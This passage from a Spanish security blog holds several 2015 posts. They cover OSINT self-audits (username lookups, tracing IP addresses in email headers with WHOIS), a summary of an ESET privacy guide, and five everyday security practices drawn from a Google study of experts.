Como se puede apreciar aparecen páginas de todo tipo. En este caso los atacantes no focalizan sus actividades contra una víctima, sino que aprovechan cualquier “fallo” para atacar a la mayor cantidad de víctimas posible.

También podemos consultar otro sitio llamado NAMECHK. La web comprueba un nombre de usuario o nick, en las redes sociales y portales web más comunes. La relación que crea la web sobre el nick que estamos buscando, es más que suficiente para vincular un nick personal con el de una empresa u organización. Si eres el responsable de la seguridad o la informática, intenta no vincular tu “nick” social con cuentas de empresa o nombres de usuario. Te recomendamos que te des de baja en aquellas que no uses, y que seguramente ni recordabas.


Por último ...

Y para finalizar con este artículo vamos a comprobar los datos que enviamos en nuestros correos. Si envías un correo desde tu empresa hacia la mía, al recibirlo, yo puedo ver la dirección del servidor que me lo envía. Si tu empresa usa el correo de Gmail, o de cualquier otro proveedor, yo veré esa información, pero en algunos casos por una mala configuración, aparece la dirección de la red desde donde sale ese mensaje. Por ejemplo, si en tu empresa usan el correo de Google y Internet de Ono, yo veré ambos datos. De esta manera puedo obtener la dirección IP de la sede, del Internet que se usa para navegar.

Comprueba con tu programa o navegador las cabeceras de un correo de tu empresa, y rastrea todas las direcciones IP que aparezcan. Con esas direcciones IP lanza un WHOIS con la web indicada más arriba para comprobar si es una IP de tu proveedor de correo, o es la IP con la que navegas.

Bueno y hasta aquí este artículo en el hemos visto en que consisten las técnicas OSINT. Recuerda que en ningún momento hemos accedido a los sistemas auditados, todo se ha hecho de manera legal y anónima mediante los recursos públicos que nos ofrece Internet.

viernes, 2 de octubre de 2015

Una guía de privacidad en la red para proteger tu identidad en internet


Debido a que la cantidad de información sensible disponible en internet es cada vez mayor, cualquier usuario que no haya tomado las medidas correspondientes en la red, puede convertirse en una potencial víctima del robo de datos sensibles. La recolección de información personal sigue siendo uno de los objetivos principales para los cyberdelincuentes, ya que toda esta información suele ser el desencadenante para propagar estafas y amenazas.

Figura 1: Guía de privacidad en la red 2.0

Con esta nueva Guía de Privacidad en Internet, en ESET analizan y nos muestran la nociones de privacidad en la Web 2.0 de hoy en día, los incidentes relacionados y cómo podemos prevenirlos. Las posibles amenazas o situaciones que podrían poner en riesgo esta información, son las que podéis ver a continuación:

Oversharing

Básicamente consiste en compartir información de manera desmedida (normalmente en las redes sociales). Un cyberdelincuente podría hacer uso de toda esa información compartida de forma pública (como la ubicación y los sitios frecuentados, gustos y hábitos, lugar de trabajo o estudio ...), para llevar a cabo el supuesto ataque. Para prevenirnos debemos controlar la cantidad y el tipo de información que publicamos en estos servicios, cuanta más información se comparta más expuestos estaremos. Como veíamos hace tiempo en este de post, toda la información que publiquemos en la red quedará expuesta hasta el fin de los tiempos.

Protocolos inseguros

Lo relacionamos con la seguridad en la comunicación de las aplicaciones. Suele ocurrir cuando en el desarrollo de un sitio, se prioriza en cuestiones como la funcionalidad y simplicidad sobre la propia seguridad. Lo que puede dejar cierta información privada expuesta y al acecho de posibles atacantes.

Códigos maliciosos

Los cyberdelicuentes pueden utilizarlos para robar información o propagar campañas maliciosas. Pueden espiar el comportamiento de navegación de los usuarios, y basándose en estos datos, generar spam o campañas de phishing personalizadas para atacar a usuarios que han sido monitorizados.


Todos estos problemas nos sitúan en un escenario en el que se hace evidente la importancia de la manipulación de la información en la red. Debemos acompañar las medidas de protección habituales de una serie de buenas prácticas que nos permitan mantener un nivel de seguridad óptimo y adecuado a nuestras necesidades.

“Teniendo en cuenta que cada vez se maneja más información sensible en las cuentas, resulta lógico que los cibercriminales destinen mayores recursos a la investigación y generación de códigos maliciosos para robar credenciales, conseguir acceso a la información de los perfiles y por último, tener una base más robusta para sus futuros ataques de Ingeniería Social”, concluye el documento.

Así que ya sabéis, para saber un poco más sobre como podemos proteger nuestra identidad digital, podéis descargar la Guía de Privacidad en Internet que nos ofrecen desde el equipo de ESET.

martes, 15 de septiembre de 2015

Cinco prácticas de seguridad que recomiendan los expertos

Todos los expertos en cyberseguridad a pesar de su trabajo, ante todo son usuarios de la red, navegan, interactúan y consumen contenido como todos. Pero, ¿qué prácticas utilizan comúnmente estos expertos para protegerse de todos los peligros que acechan en la internet? ¿Están este tipo de prácticas al alcance de cualquier mortal?




Pues la respuesta a la segunda pregunta es sí, muchas de estas prácticas no se basan más que en el propio sentido común de la persona que controla la máquina.

La información que os mostramos a continuación está basada en un estudio realizado por Google en el cuál se entrevistaron a más de 200 expertos en cyberseguridad y a otros 300 usuarios comunes, para buscar las diferencias en las prácticas de cada grupo. Destacando que la mayoría de los expertos si actúan de acuerdo a lo que predican, a diferencia de los usuarios corrientes, que siguen cayendo en errores tan básicos que hacen que el cyberfraude cobre sentido.

Aquí os mostramos un pequeño resumen de dicho estudio , en el que os mostramos cinco prácticas fundamentales, que todos los usuarios deben tener en cuenta al navegar por la red.


1. Utilizar un Antivirus

Contar con una solución Antivirus es fundamental. Esta recomendación es tan básica que ni siquiera debería ser necesario escribirla en este artículo. Pero por el contrario la realidad es que hay muchos usuarios que piensan que el antivirus es un mero elemento decorativo y no es así. Contar con una solución de seguridad actualizada, nos puede ayudar contra amenazas ya conocidas, además este tipo de soluciones van mejorando con el tiempo, proviniendo a sus usuarios de nuevas herramientas actualizas para protegerlos de los nuevos tipos de amenazas que que van apareciendo.


2. Mantener las actualizaciones al día

Sin ninguna duda es la recomendación más importante para mantenerse protegido. Mantener el sistema operativo y todas las aplicaciones que utilizamos siempre actualizadas, sobre todo las aplicaciones que hagan uso de internet. No servirá de nada utilizar el sistema más seguro, si luego no nos preocupamos de mantenerlo siempre actualizado con todas las mejoras que se van incluyendo.


3. Usar contraseñas diferentes para cada sitio.

El hecho de rutilizar las contraseñas para diferentes servicios en linea, hace que si un atacante nos roba la contraseña de un sitio, pueda acceder con esa misma contraseña a otras cuentas que nos pertenezcan. Lo más inteligente es utilizar siempre contraseñas diferentes, al igual que no usas la misma llave para todas las puertas. Si no tenemos muy buena memoria y creemos que se nos van a olvidar tantas contraseñas, podemos hacer uso de un gestor de contraseñas que nos ayude a tener todas las contraseñas almacenadas en un sitio seguro. Si lo utilizamos de la manera correcta un gestor de contraseñas nos puede ser de gran ayuda.


4. Hacer uso de la doble autenticación 

Muchos servicios como Google o Facebook, permiten a sus usuarios que hagan uso de una verificación en dos pasos. Esta doble verificación puede ser de varias formas: una vez introducidas las credenciales, el usuario podrá recibir un código en su correo o en su móvil como un mensaje de texto,  mediante una aplicación o mediante la comprobación con dispositivos físicos. Un mundo infinito de posibilidades a explorar, por lo que utilizar este tipo de verificación es más que recomendable. Por otra parte esto, evitará que si alguien roba nuestras credenciales, aunque tenga nuestro usuario y contraseña no pueda llegar a acceder a la cuenta ya que necesitaría también cumplir con esa doble autenticación.


5. Navegar siempre por sitios seguros

Descubrir nuevos contenidos en lo inconmensurable de Internet es una gozada, pero hay que hacerlo con un poco de cabeza. Visitar webs desconocidas puede esconder cierto riesgo, por lo que no es mala idea confiar en las referencias que ya se hayan ganado tu confianza, valga la redundancia. 

Consejo: hay extensiones para el navegador que te pueden servir, como WOT, que te dará aviso de la reputación del sitio que estás visitando; o HTTPS Everywhere, que forzará el uso de conexiones seguras siempre que se pueda.

Sin duda recomendaciones muy simples que todos pueden seguir para estar más seguros en el cyberespacio, si tu tienes alguna otra recomendación que crees que debemos conocer, no dudes en dejarla en los comentarios para que otros puedan beneficiarse de ella.